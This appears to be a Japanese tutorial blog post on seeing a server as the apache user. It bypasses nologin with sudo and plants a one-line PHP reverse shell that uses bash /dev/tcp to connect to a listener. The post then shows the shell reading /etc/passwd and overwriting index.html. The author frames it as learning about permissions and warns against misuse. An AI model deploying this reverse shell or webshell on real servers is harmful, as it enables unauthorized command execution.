Apacheの気持ちになってみる方法 ~ apache userでloginしてみる2つの方法


# 何の記事
ファイルアップローダを作るとよく起こる permission ありませんエラー。

SEになって最初の頃、これがどういうことなのかわからなかった。
apacheになれれば、書き込めない状態がどうなってるかを理解できるのに。
そう思っていたのでこの記事を書きました。

*この記事には良くない使い方ができてしまうことが書いてあります。利用は自分だけの環境で。悪用しないでください。


# <1> apache userになる方法 Linux編


普通にapacheをinstallするとlinux上にapacheユーザが作られます。
しかし、apacheユーザとしてのloginはセキュリティ的に禁止されています（解除することはできる）

```ruby
[root@my.example.com:/var/www/html#] su apache
This account is currently not available.
```

理由はだいたい linux の nologin を使ってloginできないようにしています。

```ruby
#] cat /etc/passwd | grep apache
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin

または /etc/nologin がある。
```

そこらへんいじれば無理やり login することも可能です。↓は /etc/passwd でlogin shellをnologinにされてる場合の回避方法。

```ruby
root@example.com:/# sudo -u apache /bin/bash
apache@example.com:/$  　<----ユーザが変わった
```

ここらへんは linux nologin とかでぐぐればわかります。

ちなみにこのapacheユーザの環境変数には、sudo前のユーザの環境変数が混ざっています

```ruby
apache@my.example.com:/tmp$ env | sort
...
MAIL=/var/spool/mail/root
SUDO_USER=root
USER=apache
USERNAME=apache
...
```

apacheになったのにrootの環境変数が残っているのがわかります。

sudoって、変身前のユーザの環境変数を `env_keep` という設定である程度引き継ぐことができるんですね。

*参考　https://qiita.com/chroju/items/375582799acd3c5137c7*





# <2> apache userになる方法 phpからapacheになりきる編

さっきのはlinux的にapache userとして **login** しましたが、phpファイル経由でapacheユーザになってみるということをしてみます。

local userとphpファイルが使えるとこんなこともできるという話を始めます。

*悪用しないでください
*決して公開サーバで試さないでください
*終わったら作ったファイルは消してください

作業はすべて webサーバ上で行います。
php-reverse-shellというツールをwebサーバの公開ディレクトリに置いておきます。

```ruby
[root@my.example.com:/var/www/html#] wget https://gist.githubusercontent.com/rshipp/eee36684db07d234c1cc/raw/9907b98ec63c6ad9bf5f39d14d07d9a3765f9079/shell.php

[root@my.example.com:/var/www/html#] ls shell.php
shell.php
```

*phpファイルの中身はたった1行→ https://gist.github.com/rshipp/eee36684db07d234c1cc*

IPアドレス(10.0.0.10)の部分を あなたのwebサーバのIPアドレスに変えます。

```ruby
vim shell.php

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
```

shellが来たら受け取れるように準備します。下記コマンドを叩くと動きが止まりますがそれで成功しています。


```ruby
[root@my.example.com:/var/www/html#] nc -lvp 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
```

ブラウザからshell.phpにアクセスしてみます。 

http://my.example.com/shell.php

これの意味するところは、phpを動かすapache userの権限でphp fileを実行するということです。

別のshellがあれば、curl/wgetでもいいです。

```ruby
# ncを叩いたのとは違うshell
[root@my.example.com:/var/www/html#] curl localhost/shell.php
```


アクセスするとbashが起動する


```ruby

Ncat: Connection from 10.1.2.3.
Ncat: Connection from 10.1.2.3:40678.
bash: no job control in this shell
bash-4.2$
```

Viola!
 `nc -lvp 1234P` で待っていたシェルに動きがありました。何が起こったのか確認してみましょう。


自分がapacheになっています。


```ruby
bash-4.2$ whoami
whoami
apache
```

groupもapacheです。

```ruby
bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)

```


自分はどこにいるの？ 引き続きwebサーバの中です。

```ruby
bash-4.2$ hostname
hostname
my.example.com

```

サーバのIPがわかります。

```ruby
bash-4.2$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP>
    inet 127.0.0.1/8 scope host lo
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP>
    inet 10.1.2.3/21 brd 10.1.0.0 scope global dynamic eth0

```


カレントディレクトリはここです。これはapacheのDocument_Rootを見ているのだろうか？

```ruby
bash-4.2$ pwd
pwd
/var/www/html
```

ファイルも見れます。

```ruby
bash-4.2$ ls -l
ls -l
total 1128
-rw-r--r-- 1 apache apache       2 Mar 29  2019 index.html
-rw-r--r-- 1 root   root        75 Jul 13 10:42 shell.php
```

ownerがapache or 書き込み権限があるファイルは書き換えられます。

```ruby
bash-4.2$ echo ZZZZZZZZZZZZZZ > index.html

bash-4.2$ cat index.html
ZZZZZZZZZZZZZZ
```

/etc/passwdも見れます。

```ruby
bash-4.2$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:Syste
~
```


/etc/shadow（linux userのパスワードが保存されている） は見れません

```ruby
bash-4.2$ cat /etc/shadow
cat /etc/shadow
cat: /etc/shadow: Permission denied
```

当然ながら /etc/shadow を書き換える権限はありません

```ruby
bash-4.2$ echo 1 > /etc/shadow
echo 1 > /etc/shadow
bash: /etc/shadow: Permission denied

```

sudoはできません

```ruby
bash-4.2$ sudo yum install sl
sudo yum install sl

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

sudo: no tty present and no askpass program specified
```

ここからsudoを叩けたり、rootになれたりするのが脆弱性と呼ばれるものです。



env を見てみましょう。

```ruby
bash-4.2$ env
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
_=/usr/bin/env
PWD=/var/www/html
LANG=C
NOTIFY_SOCKET=/run/systemd/notify
SHLVL=3
_=/usr/bin/env

```

めっちゃシンプルです。

一通りデバッグが終わったら、 `shell.php` を **必ず削除** しておきましょう。



# まとめ
apacheユーザはコマンドを叩けるし、非公開なファイルを見れることがわかったと思います。

たった1行のphpだけで、sudoも、 `/etc/passwd` も `/etc/sudoers` の書き換えもせず、ログインできる状態になってしまいました。

適切なセキュリティを常に意識しておきましょう。あれ、趣旨が変わっている。

おわり。